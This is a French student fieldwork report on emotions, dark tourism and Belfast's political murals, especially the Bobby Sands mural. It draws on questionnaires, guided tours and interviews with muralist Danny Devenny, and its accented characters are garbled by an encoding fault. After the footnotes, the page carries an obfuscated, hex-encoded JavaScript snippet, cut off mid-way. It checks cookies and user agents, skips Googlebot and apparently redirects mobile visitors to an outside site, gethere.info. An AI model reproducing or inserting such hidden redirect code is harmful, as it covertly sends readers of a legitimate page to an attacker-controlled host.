Le dark tourism est aussi une faA�on de a�?mA�morialisera�? le passA� (Assayag, 2007), en rendant tangible la mA�moire des tragA�dies. En A�tant sur place, les touristes peuvent sa��imprA�gner des lieux et vivre une expA�rience sensorielle que na��offrent pas les manuels da��histoire. Il a un rA?le A�ducateur. A�

La��attitude des Irlandais du Nord face au dark tourism est plutA?t ouverte. Plusieurs personnes qui ont rA�pondu A� notre questionnaire se sont dits favorables A� la��expansion du tourisme dans leur ville. Stan les adorent: A� I love the tourists A�. Un homme de Derry [3] aime les murals pacifiques A� They keep tourism A�. Une femme de BroadwayA�[4] est plus pragmatique : A� I dona��t matter that tourists are coming. Ita��s part of it. A�. Cependant, des questions sa��A�lA?vent sur la faA�on de faire les prA�sentations touristiques et les souvenirs qua��en gardent les touristes. Comment sa��articulent les discours des acteurs touristiques?

Discours proposA�s aux touristes : quelle dimension idA�ologique?

Suite A� notre tour en black cabs, nous avons remarquA�, en parlant avec da��autres A�tudiants, que les tours proposA�s ne sont pas aussi personnels qua��ils paraissent A� premiA?re vue. Il y a une sorte da��accord sur les points A� mettre en valeur et les dA�tails A� accentuer. Ainsi, pratiquement tous les chauffeurs ont insistA� sur la jeunesse des victimes du conflit du cA?tA� rA�publicain et sur la mise en valeur de la part des loyalistes de Stevie Top gun [5], un homme qui aurait tuA� 43 catholiques. Notre chauffeur a A�galement soulevA� le fait que da��aprA?s lui, les murals loyalistes montrent la��amertume des protestants A� The protestant are bitter. They have a A�memorial mural for a killer A�A�[6].

Le discours peut donc A?tre remis dans un contexte plus large en tant que discours rA�publicain visant A� susciter la compassion et la rA�volte du touriste qui la��A�coute. Le discours vise clairement A� rallier le touriste A� la cause rA�publicaine. Quand ce na��est pas le mural qui crA�e des A�motions chez le touriste qui le regarde, ca��est bien le discours qui y est associA�. Les acteurs touristiques jouent donc un grand rA?le dans la maniA?re dont les touristes voient les murals, et surtout le conflit qua��ils reprA�sentent. Les auteurs de Feeling and Tourism studies confirment cet aspect: a�?It is in these places of ongoing political unrest that tourists, and tour guides, feel connections and divisions. In other words, emotions bind some touring bodies to nations and political allegiances, yet other bodies are marginalised.a�? (D.M. Budha: 2014, 111) Certains faits sont donc accentuA�s alors que da��autres tendent A� A?tre omis. (Les actions de la��IRA par exemple ne sont pratiquement pas mentionnA�es par les guides du cA?tA� rA�publicain.) Selon ces mA?mes auteurs, les guides touristiques prennent des rA?les politiques et vont plus loin en disant aux touristes ce qua��ils doivent penser ou ressentir. Avec la��exemple des guides touristiques de Jordanie, les auteurs soulignent le dA�sir da��amA�liorer la��image que les touristes ont des Arabes et de la��Islam et de rA�tablir leur dignitA�. (D.M. Budha: 2014, 101) Observons-nous le mA?me phA�nomA?ne A� Belfast, ca��est-A�-dire la volontA� da��exporter une meilleure image de soi? Et est-ce que les discours rencontrent un A�cho chez les touristes qui les A�coutent ? Les A�motions permettent-elles toujours de fA�dA�rer des personnes autour da��une cause ? En tout cas, elles amA?nent les personnes A� se positionner da��une certaine maniA?re face au conflit. Selon Bernard Julien, A� les jugements des individus, en fonction de leurs croyances et de leurs dA�sirs, occupent ici une position prA�pondA�rante dans la��A�motion A� (Julien: 2015). Or, dans notre discussion avec les reprA�sentants de la��office du tourisme de Belfast, il est ressorti que les discours divergents des acteurs touristiques sont un des problA?mes majeurs pour la ville. En effet, il y a une certaine concurrence entre les opA�rateurs touristiques nationalistes et loyalistes, chaque cA?tA� voulant donner sa vision du conflit. Une autre variable A� prendre en compte, comme le souligne une professeure da��une cinquantaine da��annA�e, est le manque de comprA�hension des touristes A� The problem is, they dona��t understand sectarianism. A� [7] Les connaissances prA�alables des touristes peuvent avoir un impact sur leur perception, mais aussi sur leurs A�motions. Un guide touristique israA�lien tA�moigne: selon leur background, les touristes sont plus ou moins choquA�s de ce qua��ils voient et entendent. (D.M. Budha: 2014, 110). Dans le contexte du dark tourism, le niveau da��information peut donc influencer la force des A�motions.

MA?me si nous na��avons pas pu faire des entretiens plus approfondis avec les touristes rencontrA�s A� Belfast, nous pouvons dire que leur expA�rience touristique est fortement liA�e A� leur ressenti A�motionnel.

Sentiments ambivalents : les touristes face au mural de Bobby Sands

Les donnA�es provenant des touristes [8] ne sont pas nombreuses : nous avons pu donner le questionnaire A� trois touristes des Pays-Bas (deux femmes et un homme de 52, 54 et 32 ans respectivement) ainsi qua��A� un couple britannique da��un cinquantaine da��annA�es. Ces derniers A�taient A�A� Belfast pour un jour.

Chose intA�ressante, une touriste nA�erlandaise sa��est distinguA�e en A�tant la seule A� avoir choisi toute une liste da��A�motions : alarmed, angry, annoied, concerned, hurt. Ces adjectifs plutA?t nA�gatifs vont avec sa remarque : A� young people getting killed sometimes for no reason A�. Ses deux accompagnateurs ont eux aussi chacun eu un choix solitaire : suspicious et enraged, mA?me sa��ils se considA?rent plutA?t neutres.

Les touristes journaliers britanniques soulignent la tristesse que soulA?vent les morts et le soulagement que ce soit du passA�. A� Part sadness that ita��s here because of the Troubles, fighting and deaths etc… Part relief thata��s now history, we can remember and learn form the conflict and the waste of lives and suffering and to try to respect other views, cultures and religions in the future A�. Pour rA�sumer, les deux ont choisi entre autres free et grief.

On observe que malgrA� la distance existante avec le conflit (aucune des personnes mentionnA�es ci-dessus na��a vA�cu les A�vA?nements sur place), ces visiteurs ont ressenti quelque chose en voyant la peinture de Bobby Sands. Ces A�motions sont mA?me plutA?t fortes, voire engagA�es. Cette image a donc un pouvoir mobilisateur. Nous pouvons affirmer qua��il existe une sorte de lien A�motionnel entre les touristes et les murals. Qua��en est-il des Belfastois eux-mA?mes? Que reprA�sentent les murals pour eux aujourda��hui?

Les Belfastois et a�?leursa�? murals

Quel est le rA?le des murals pour les Belfastois ?

Le rA?le premier des murals A�tait da��A?tre vu par la communautA� elle-mA?me. Dans le documentaire Art of Conflict, Bill Rolston, sociologue A� la��universitA� de Queens A� Belfast et spA�cialiste des murals, explique : A� The most important thing I would say about them thata��s interesting is that most of these murals are in the heart of communities, the heart of working class communities. So their message is not to the outside world, not even to the tourists who come out in the thousands. But theya��re message to these communities. a�?Are you with us? Are you against us? Are you in agreement with where we stand?a�? This is the community voice. A� (Art of Conflict, 2012). Les murals ont donc une fonction de perpA�tuation des valeurs communautaires. Cet aspect des murals a A�tA� soulignA� par plusieurs de nos interlocuteurs : il est important de garder le passA� pour les gA�nA�rations da��aprA?s pour qua��elles puissent regarder et connaA�tre la��histoire.A� Ita��s part of our history A� (mA?re (45) et fille (18) de Broadway) [9]. Les A�motions qua��ils suscitent chez la population locale ont pour but de leur rappeler la cause de leur lutte, la cause du conflit. Ils prA�sentent la A� lutte telle que la perA�oivent les RA�publicains A� (Maillot : 1997). Ils sont comme un rappel quotidien. David Ervine, un peintre muraliste, les compare A� un crieur public A� Theya��re like a town crier A�. (Art of Conflict, 2012). Les murals font partie de la vie de tous les jours : plus leur message se rA�pA?te, plus leur affirmation gagne en force. Le mural a un impact tant qua��il est lA�, une fois enlevA� il ne reste que dans les mA�moires et perd sa force de rA�pA�tition. A� Whatever you can say about these murals, you cannot accuse them of being apathetic. These are politically strong statements. The are communities saying, a�?Look, this is what wea��ve gone through, this is what we believe, this is what we want.a�? And so theya��re very, very powerful images. A� (Bill Rolston, Art of conflict) Certains murals rA�publicains ont A�tA� A�rigA�s en soutien A� la��IRA et ses activitA�s. La��IRA, comme tout groupe paramilitaire, avait besoin du soutien moral de sa communautA� pour exister et lA�gitimer cette existence. Les murals ont donc une double A� fonction didactique A� : ce sont des instruments de propagande et da��A�ducation (Maillot : 1997). Ils sont aussi instrumentalisA�s par les acteurs politiques. En A�vitant A� la multiplication des graffitis A�, les murals permettent au A� Sinn FA�in de contrA?ler ce qui se dit/lit sur les murs rA�publicains, et da��assurer une mainmise idA�ologique sur le quartier A�. (Maillot : 1997). Les A�motions qua��ils A�voquent sont donc trA?s importantes pour avoir un impact maximal dans la pensA�e des individus. Les rA�publicains ont choisi de prendre la voie du romantisme, en reprA�sentant des hA�ros issus de leur communautA�, avec comme figure de proue Bobby Sands.

Point de vue divergents face au mural de Bobby Sands

Les A�motions suscitA�es par les murals rA�publicains sa��inscrivent principalement dans une logique da��hA�roA?sation et de romantisme, comme on peut la��observer pour la fresque de Bobby Sands. En effet, selon Maillot, A� les grA?ves de la faim donnent A� la lutte une dimension humaine, permettant aux rA�publicains de contrer la propagande officielle visant A� prA�senter les Volontaires de la��IRA comme des psychopathes et des terroristes (…) Bobby Sands devient vite le prototype du hA�ros rA�publicain, dA�vouA� A� sa cause, victime de la��injustice de tout un systA?me. Depuis 1916, ca��est la premiA?re fois que les rA�publicains peuvent mettre en avant le sacrifice de la��un des leurs aux mains des oppresseurs. Les A�vA?nements aidant, Bobby Sands allait devenir une lA�gende (…) La��effigie de Bobby Sands devient le symbole numA�ro un de la rA�sistance. A� (Maillot : 1997)

Les rA�ponses dans nos questionnaires confirment cet aspect : la population locale est trA?s touchA�e par la grA?ve de la faim de Sands et le conserve en souvenir en tant que hA�ros. Les termes hA�ros ou lA�gende reviennent souvent et sont associA�s A� la fiertA�. Une femme de 41 ans, habitante de Falls Road [10] A�crit : A� Bobby Sands died a horrible death for us. I think this is beautiful. Hea��s my hero A�. Robert, du bureau du Sinn FA�in, dit que le mural est A� an inspiration for people who see it, especially irish republicans who continue Bobby Sands struggle for irish freedom and independance. He is my hero A�. Une femme de Broadway, 45 ans [11], A�crit : A� Hea��s a legend A�. Les personnes qui se souviennent de Bobby Sands comme un hA�ros sont de la mA?me gA�nA�ration, tous autour de la quarantaine.

Bobby Sands est identifiA� A� un symbole de la lutte pour la libertA� et la��indA�pendance. A�Bill Rolston rA�sume : A�Republicans obviously regard Bobby Sands as the prototypical hero, the man who stood to the might of Britain and used the ultimate weapon, the weapon that they could not take away from him, which was his own life A� (Art of conflict, 2012). Da��autres personnes se sont ajoutA�es A� liste des martyres rA�publicains et des murals sont peints en leur mA�moire. Un sexagA�naire du quartier de Ballymurphy [12] oA? se situe un mural reprA�sentant trois volontaires de la��IRA pense que reprA�senter les personnes du quartier est la��atout principal des murals. A� It reflects people. A�[13]A�Ces portraits ont donc pour but da��A�voquer des A�motions positives telles la��admiration, la fiertA�, le respect face A� ces personnes, parfois presque sanctifiA�es.

La version plus romantique du cA?tA� catholique avec la prA�sence de nombreux hA�ros, prA�sentA�s en martyrs de la cause rA�publicaine, est moins menaA�ante que les gunman reprA�sentA�s par les murals loyalistes. Selon Naomi Doak, les murals rA�publicains attirent plus de sympathie justement grA?ce A� la valorisation du passA� romantico-celtique. (Notes du carnet de terrain)

Bien que nous observions la��hA�roA?sation de Bobby Sands par la communautA� locale, nous avons rencontrA� des personnes critiques envers cette tendance. Une A�tudiante protestante de la Queens University [14] pense que la reproduction et la sur-reprA�sentation de ce mural va A� la��encontre du processus de paix et du lissage des tensions, en rappelant la��engagement controversA� du personnage.[15] Une Belfastoise da��une cinquantaine da��annA�e rencontrA�e devant ledit mural a elle aussi exprimA� son scepticisme. Selon elle, Bobby Sands est A� idA�alisA� A�. Les personnes lui attribueraient des qualitA�s posthumes, comme A� par exemple le fait qua��il soit un poA?te A�. Elle exprime A�galement la��opinion qua��il na��aurait A� pas A�tA� assez cultivA� pour faire de la politique A�. Cette femme se sent aliA�nA�e face au mural, car il ne permet pas de A� construire les ponts vers le futur et le 21A?me siA?cle A�. Elle veut A?tre A� neutre, aller de la��avant tout en respectant le passA� A�.

Ces deux personnes viennent du milieu acadA�mique, la��une A�tant A�tudiante A� la��universitA� de Queens, et la��autre A�tant professeure. Les autres professeurs que nous avons rencontrA�s lors de notre visite A� la��UniversitA� de Queens semblaient eux aussi trA?s dA�tachA�s du conflit et le considA�raient da��une faA�on distanciA�e. Est-ce donc le milieu de la��A�ducation supA�rieure qui amA?ne les individus A� prendre du recul? A�

Pratiquement tous les Belfastois rA�publicains interrogA�s expriment un certain attachement aux mural de Bobby Sands, et surtout les rA�sidents de Falls Road. Une catA�gorie particuliA?re des habitants de Belfast sont les peintres muralistes, les auteurs des murals.

Peintres et murals: expression da��A�motions personnelles ou collectives?

Quels sont les sentiments du peintre lui-mA?me face A� A� son A� mural ? Nous avons rencontrA� Danny Devenny un peu par hasard le jeudi matin, pendant notre deuxiA?me moment de terrain, alors qua��il avait rendez-vous avec un autre groupe da��A�tudiants. Il est probablement le peintre muraliste le plus connu de la��Irlande du Nord. Il est la��auteur da��une grande partie des murals de Falls et sa��engage fortement pour le processus de paix A� sa maniA?re, ca��est-A�-dire en peignant des murals avec un artiste loyaliste, Mark Ervine (le fils de Bob Ervine qui A�tait un des premiers peacemaker de la��Irlande du Nord). A travers la courte discussion que nous avons eue avec lui ce jeudi matin et ses propos dans le documentaire Art of Conflict, nous avons constatA� que les peintres muralistes ne reprA�sentent pas seulement les sentiments de la communautA�, ils se dA�finissent eux-mA?mes comme militants politiques et ont souvent des liens trA?s personnels envers le mural ou le sujet du mural.

Dans Art of Conflict, Danny Devenny parle de son rA?le de soutien communautaire A� la��IRA et au Sinn FA�in. A� Elles (les peintures murales) expriment le soutien pour la��IRA, pour les rA�publicains en gA�nA�ral, elles revendiquent des droits sociaux, ou bien le droit pour le Sinn FA�in A� A?tre intA�grA� dans les discussions concernant la��avenir de la��Irlande du Nord. A� (Maillot : 1997). Ces propos reprennent la��idA�e de la transmission des valeurs communautaires A� la��interne comme A� la��externe du quartier en ce qui concerne les enjeux politiques de la��Irlande du Nord. Les artistes, dont Devenny, ne se considA?rent pas comme tels (ils na��ont da��ailleurs que rarement suivi une formation artistique) mais se voient comme des militants politiques qui, grA?ce A� leur peinture, exprime A� une rA�action par rapport au quotidien A�. (Maillot : 1997) A� On ne fait pas de la��art pour la��art, mais on peint pour rA�agir face aux A�vA?nements. On fait un travail pour le Sinn FA�in, pour la��IRA, pour le mouvement rA�publicain, au mA?me titre que le militant politique ou le Volontaire de la��IRA. A� Et A� Devenny da��ajouter A� I see myself as a political activist.a�? (Art of Conflict, 2012). Les tA�moignages de deux peintres muralistes loyalistes font le lien entre les sentiments communautaires et les sentiments personnels des peintres. A� Ia��ve never regretted any of my work, you know, cause at the time it was the feelings. It was representing my feelings and the community feelings through the art. A�A� David Craig, un autre peintre muraliste loyaliste, parle de fiertA�: A� I get a sense of pride out of it. You know, people came and asked me to basically represent their feelings and basically my own feelings as well, to put it on a wall, in a picture.A� (Art of Conflict, 2012)

Danny Devenny connaissait personnellement Bobby Sands. Pour lui, ce mural est da��abord peint en sa mA�moire. Dans la��interview qua��il donne dans le documentaire Art of Conflict, il parle aussi des A�motions que ce mural dA�clenche chez les loyalistes. A� I knew Bobby very well. He was just a lovely person. What really inspired me about him was: he was just so full of energy about everything. Ita��s funny a�� the smiling face of Bobby Sands on the Falls road mural – I always thought it was funny. Thata��s kind of interesting to me, you know, there are other murals there, where youa��d find the British soldiers and the RUC. They seem to hate that mural more than anything else. In fact, hours later I completed the mural the first time, RUC personals in jeeps came along and threw paint at it. But I guess of the smiling face, you know. Ita��s Bobbya��s own philosophy: a�? Our revenge will be the laughter of our childrena�?. And they cana��t handle that. They cana��t handle that this confident young man gave his life for this cause. A� (Art of Conflict, 2012) A�

Lors de notre rencontre, Devenny en a profitA� pour nous montrer un dA�tail du mural de Bobby Sands, le joueur da��accordA�on qui est reprA�sentA� en bas A� droite. En fait, il sa��agit da��une peinture de Jef AA�rosol, street-artist franA�ais, qui, une nuit, la��a peinte en cachette. Selon Devenny, ce na��est pas une marque de non-respect, mais la��hommage da��un musicien pour un artiste. (En effet, les RA�publicains se souviennent de Bobby Sands comme un poA?te car il a A�crit plusieurs poA?mes en prison.) Devenny pense que Sands aurait sA�rement aimA� cette philosophie et, en accord avec la communautA� de Falls, la dA�cision a A�A�tA� prise de laisser le joueur da��accordA�on et Devenny a ajoutA� des paroles de chanson au-dessus. Cette petite anecdote montre la notoriA�tA� de Bobby Sands A� travers le monde et le respect que lui vouent les artistes, mais aussi le fait que cette oeuvre appartient A� la communautA�.

DA�tail ajoutA� par le street artist Jef Aerosol sur le mural de Bobby Sands - Falls Road - 01.03.2016 - CA�cile Walder
DA�tail ajoutA� par le street artist Jef Aerosol sur le mural de Bobby Sands – Falls Road – 01.03.2016 – CA�cile Walder

 

Quel avenir pour les murals et le tourisme des A�motions ?

La��approche par les A�motions a rA�vA�lA� des logiques trA?s diffA�rentes selon les groupes qui nous en parlaient. La��hA�roA?sation et la mise en avant de valeurs A� la��intA�rieur de la communautA� permettent la transmission de la culture rA�publicaine. Or, ces idA�es sont actuellement aussi exportA�es A� travers le tourisme. Ca��est ici un grand dA�fi pour les autoritA�s car il sa��agit de garantir une comprA�hension plus objective de la��histoire du conflit en Irlande du Nord A� travers les supports touristiques. Les murals sont perA�us comme un hA�ritage, mais aussi comme un obstacle pour le futur. Suite A� ces remarques, plusieurs pistes de rA�flexion sa��ouvrent A� nous.

Une des pistes de rA�flexion qui expliquerait la pA�rennitA� des murals est le besoin pour les communautA�s de donner sens A� ce qui sa��est passA�, A� lA�gitimer les pertes, les sacrifices, mais A�galement les actes de violence qui ont A�tA� perpA�trA�s. Si, du jour au lendemain, tous les murals sont enlevA�s, quel message est envoyA� aux populations qui ont A�tA� les plus actives durant la pA�riode des Troubles? Est-ce qua��on ne leur enlA?ve pas A�galement une forme da��expression qui lA�gitime leur histoire?

Dans un sens, ces murals sont un soutien moral aux acteurs du conflit, qui na��ont plus besoin da��A?tre encouragA�s pour se rallier A� la cause, mais da��A?tre soutenus pour continuer A� vivre avec eux-mA?mes et avec les actes qua��ils ont commis (ou subis).

Cependant, ce procA�dA� a pour consA�quence d’encourager la haine de la��autre. Tant qua��ils sont lA�, les murals rappellent au quotidien le conflit et les animositA�s entre les deux communautA�s. Leur prA�sence entrave-t-elle le processus de paix? Les murals sont aussi dA�finis comme hA�ritage culturel. Or, A� quel point des marques de conflit peuvent-elles devenir un hA�ritage culturel? Un hA�ritage culturel na��est jamais neutre. Ce dilemme na��est pas seulement prA�sent pour les locaux mais sa��accentue da��autant plus avec la��ouverture de Belfast et la��avA?nement du tourisme. Les touristes sont en gA�nA�ral A� la recherche da��A�motions, que ce soit dans le tourisme da��aventure, le tourisme de wellness ou le dark tourism (D.M. Budha: 2014). Les auteurs de Feeling and tourism studiesA�appellent A� prendre davantage en compte les A�motions dans les A�tudes sur le tourisme. a�?Our call for an emotional turn in tourism – a�?emotional tourisma�? or a�?tourism of emotionsa�? – recognize the need to consider embodied emotions as socially and culturally constructed and should not be ignored in tourism studies.a�? (D.M. Budha: 2014, 111). Ces sentiments da��opposition et les diffA�rents points de vue du conflit sont transmis par les acteurs touristiques. Pourquoi les acteurs touristiques A�voquent-ils aujourda��hui encore ces A�motions dans leurs discours et pourquoi en susciter chez les touristes prA�cisA�ment? Est-ce, comme dit plus haut, une maniA?re de se lA�gitimer face A� la communautA� internationale, afin da��A?tre mieux compris ? Est-ce par peur da��A?tre oubliA�s, face aux nombreuses crises A�conomiques, politiques et migratoires du moment?

Il reste A�galement le problA?me de savoir quelles sont les connaissances prA�alables des visiteurs. La ville doit trouver un moyen de les a�?mettre A� niveaua�? leurs connaissances mais aussi da��harmoniser les rA�cits. Pour rA�ellement pouvoir donner la��image da��une ville en processus de paix alors que le dark tourism et le danger-zone tourism (Buda et al. : 2014) sa��A�tendent davantage, le dA�fi que vont devoir relever les autoritA�s est de crA�er des fondements communs entre les diffA�rents acteurs touristiques, comme la��a soulignA� Naomi Doaks lors de la confA�rence sur le tourisme A� Belfast. [16]

Retour rA�flexif

Notre premier travail de terrain A� Belfast a A�tA� un vrai dA�fi, mais en dA�fi intA�ressant. Il a A�tA� A�frappant de constater comment cette ville oscille entre deux extrA�mitA�s : da��un cA?tA� il y a les traces physiques ainsi que psychologiques laissA�es par les Troubles et de la��autre cA?tA� il y a la volontA� de se reconstruire. Ce travail nous a permis da��interagir directement avec les Belfastois et ca��est A� travers leurs mots que nous avons repA�rA� ces sentiments contrastA�s. En effet, ils A�taient souvent trA?s ouverts A� la discussion et avaient envie de transmettre leur message et leur histoire. A ce sujet, une premiA?re difficultA� qui a A�mergA� est la barriA?re linguistique. Effectivement, l’accent nord-irlandais est trA?s fort, surtout dans les quartiers populaires, oA? nous avons rA�alisA� la plupart de notre terrain. Il A�tait souvent difficile d’A?tre subtil dans notre approche, mais A�galement de saisir les subtilitA�s des propos qui nous A�taient tenus. Il A�tait aussi difficile de rebondir sur ce qui nous intA�ressait, ou d’approfondir les points sensibles. Cela en raison de la langue da��une part, et du fait qua��il sa��agissait de notre premier travail de terrain de la��autre.

De plus, nous travaillions sur les A�motions et ce thA?me est dA�licat. Il A�tait difficile pour nous de trouver les mots justes et le bon angle d’approche. Nous avons souvent remarquA� une certaine rA�ticence de la part de nos interlocuteurs, qui avaient tendance A� contourner les questions en rapport avec les A�motions ou A� A?tre trA?s brefs dans leurs rA�ponses. Les A�motions sont ce qu’il y a de plus personnel et intime, et d’en parler librement n’est jamais chose facile. Nous avons A�galement perA�u un rapport conflictuel entre le A� nous A� en tant que A� chercheuses A� et le A� nous A� en tant que A� touristes A�. Nous avons dA� apprendre A� gA�rer ces deux cA?tA�s.

Enfin, notre recherche sur place sa��est rA�vA�lA�e A?tre un a�?terrain fertilea�? A� la production da��idA�es: elle a offert une multitude de pistes, ainsi que des dA�couvertes que nous avons eu envie da��explorer plus en profondeur. Pour A�viter le risque da��A�garement, il a fallu savoir exploiter ces idA�es, en tirer la��inspiration, pour mieux dA�finir et cibler la problA�matique. Si nous na��avions pas A�tA�s limitA�es par le temps, il aurait A�tA� intA�ressant de faire de plus longs entretiens.

Bibliographie

  • Assayag J., A� Le spectre des gA�nocides A�, Gradhiva , nA� 5, 2007, [en ligne], URL : http://gradhiva.revues.org/658, ConsultA� le 05.04.2016
  • Bernard J., A� Les voies da��approche des A�motions A�, Terrains/ThA�ories, nA�2, 2015, [en ligne], URL : http://teth.revues.org/196, ConsultA� le 09.01.2016

Cet article traite de la faA�on dont les A�motions peuvent A?tre traitA�es dans le cadre de recherches en sciences sociales. Il est particuliA?rement intA�ressant car il explique en quoi rA�colter les A�motions des chercheurs peut A?tre un bon complA�ment A� la recherche.

Cet article traite des A�motions dans le contexte touristiques en Palestine et en IsraA�l. Les auteurs utilisent la notion de danger-zone tourism et plaident pour une meilleure prise en compte des A�motions dans les A�tudes sur le tourisme.

Cet article en anglais prA�sente la faA�on dont sont utilisA�s les murals da��Irlande du Nord actuellement: vendus A� travers le tourisme da��une part et porteurs de message de paix de la��autre part. La��auteur donne A�galement un panorama des acteurs qui se partagent les murals (ex-dA�tenus, A�municipalitA� et A�autoritA�s) et propose quelques exemples de murals.

  • Folio F., A� Critiques et enjeux du Dark tourism A� travers la focale sud-africaine A�, EchoGA�o, nA�34, 2015, [en ligne], URL : http://echogeo.revues.org/1437, ConsultA� le 01.05.2016.

Cet article rend compte de la��A�tude du dark tourism en Afrique du Sud. Il nous a permis de mieux comprendre le concept de dark tourism.

Cet article prA�sente les peintures murales rA�publicaines (contexte historique, thA?mes prA�conisA�s) dans un ordre chronologique.

  • MSF Press, The Belfast murals guide, 2014

Ce petit guide touristique des murals de Belfast donne pour chaque mural un rapide historique, la localisation GPS et le contexte. Il nous a A�tA� utile pour choisir le mural sur lequel nous avons travaillA� et pour les comprendre.

Sitographie

Ce site internet nous a renseignA� sur les tendances actuelles du tourisme A� Belfast.

Ce site internet recense A� la��heure actuelle 223 murals et les cartographie avec un code de couleur. Les murals rA�publicains/nationalistes sont en vert, les murals loyalistes/unionistes en rouge et en bleu ce sont les murals socio-culturels. Cette page web est en cours da��A�laboration, elle a A�tA� crA�e en 2014 et a comme but de rA�fA�rencer davantage de murals. Ce site nous a servi pour avoir un aperA�u de la localisation des murals.

  • Cain Web service – Conflicts and Politics in Northern Ireland, [en ligne] URL: http://cain.ulst.ac.uk, ConsultA� le 05.02.2016

Ce site internet, Cain (pour Conflict Archive on the INternet), affiliA� A� la��universitA� de Ulster, prA�sente des informations sur la pA�riode des troubles et sur la politique de la��Irlande du Nord depuis 1968. Il rA�fA�rencie A�normA�ment de sources, da��archives, de chiffres (databases) et prA�sente plusieurs extraits de livre consultables en ligne. Il a la��avantage da��A?tre classA� par sujet, da��A?tre clair et de rendre la��information facilement accessible. Nous la��utilisons aussi pour rechercher des informations sur les murals que nous avons choisis, notamment leur auteur, la date de crA�ation ou encore la signification des symboles qua��ils reprA�sentent.

VidA�ographie

  • Vaughn V., Art of Conflict, documentaire historique, 2012, 73 min

Ce documentaire traite des peintures murales de Belfast, des messages qua��ils expriment.

Iconographie

  1. C. Vetter, Mural de Bobby Sands, Falls Road, Belfast, 01.03.2016
  2. C. Walder, Mural en mA�moire de Bobby Sands, Falls Road, Belfast, 01.03.201
  3. C. Vetter,A�Copie de la photo de Bobby Sands et plan des murals du quartier de Falls, 04.05.2016
  4. C. Walder,A�Mural en mA�moire de la��Easter Rising, Falls road, Belfast, 03.03.2016
  5. C. Walder, DA�tail ajoutA� par le street artiste Jef AA�rosol sur le mural de Bobby Sands, Falls Road, Belfast, 03.03.2016

Notes de bas de pages

  1. Belfast City council, [en ligne], URL: http://www.belfastcity.gov.uk/tourism-venues/tourism/tourism-about.aspx A�(visitA� le 01.05.2016)
  2. Belfast City council, A�[en ligne], URL: http://www.belfastcity.gov.uk/tourism-venues/tourism/tourismfacts.aspx (visitA� le 01.05.2016)
  3. InterrogA� le mardi 1er mars 2016, Falls, devant le mural
  4. InterrogA� le jeudi 3 mars 2016, Falls, devant le mural
  5. Sur la rue de Hopewell Cress Road, dans le quartier de Shankill
  6. Notes du carnet de terrain, mardi 1er mars 2016
  7. InterrogA�e le jeudi 3 mars 2016, Falls, devant le mural
  8. InterrogA�s le jeudi 3 mars 2016, Falls, devant le mural
  9. InterrogA�s le jeudi 3 mars 2016
  10. InterrogA�e le mardi 1er mars 2016, Falls, devant le mural
  11. InterrogA�e le mardi 1er mars 2016, Falls, devant le mural
  12. Quartier rA�publicain, prA?s de Falls Road, adjacent au quartier loyaliste de Shankill
  13. InterrogA� le mardi 1er mars 2016, Ballymurphy
  14. Lors de notre voyage da��A�tude, nous avons participA� A� un cours de sociologie A� la Queens University. Le thA?me A�tant la��utilisation controversA�s des drapeaux en Irlande du Nord, le cours a pris la forme de discussion pas petits groupes avec les A�tudiants de Belfast.
  15. Notes du carnet de terrain, jeudi 3 mars 2016
  16. Notes du carnet de terrain, vendredi 4 mars 2016

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 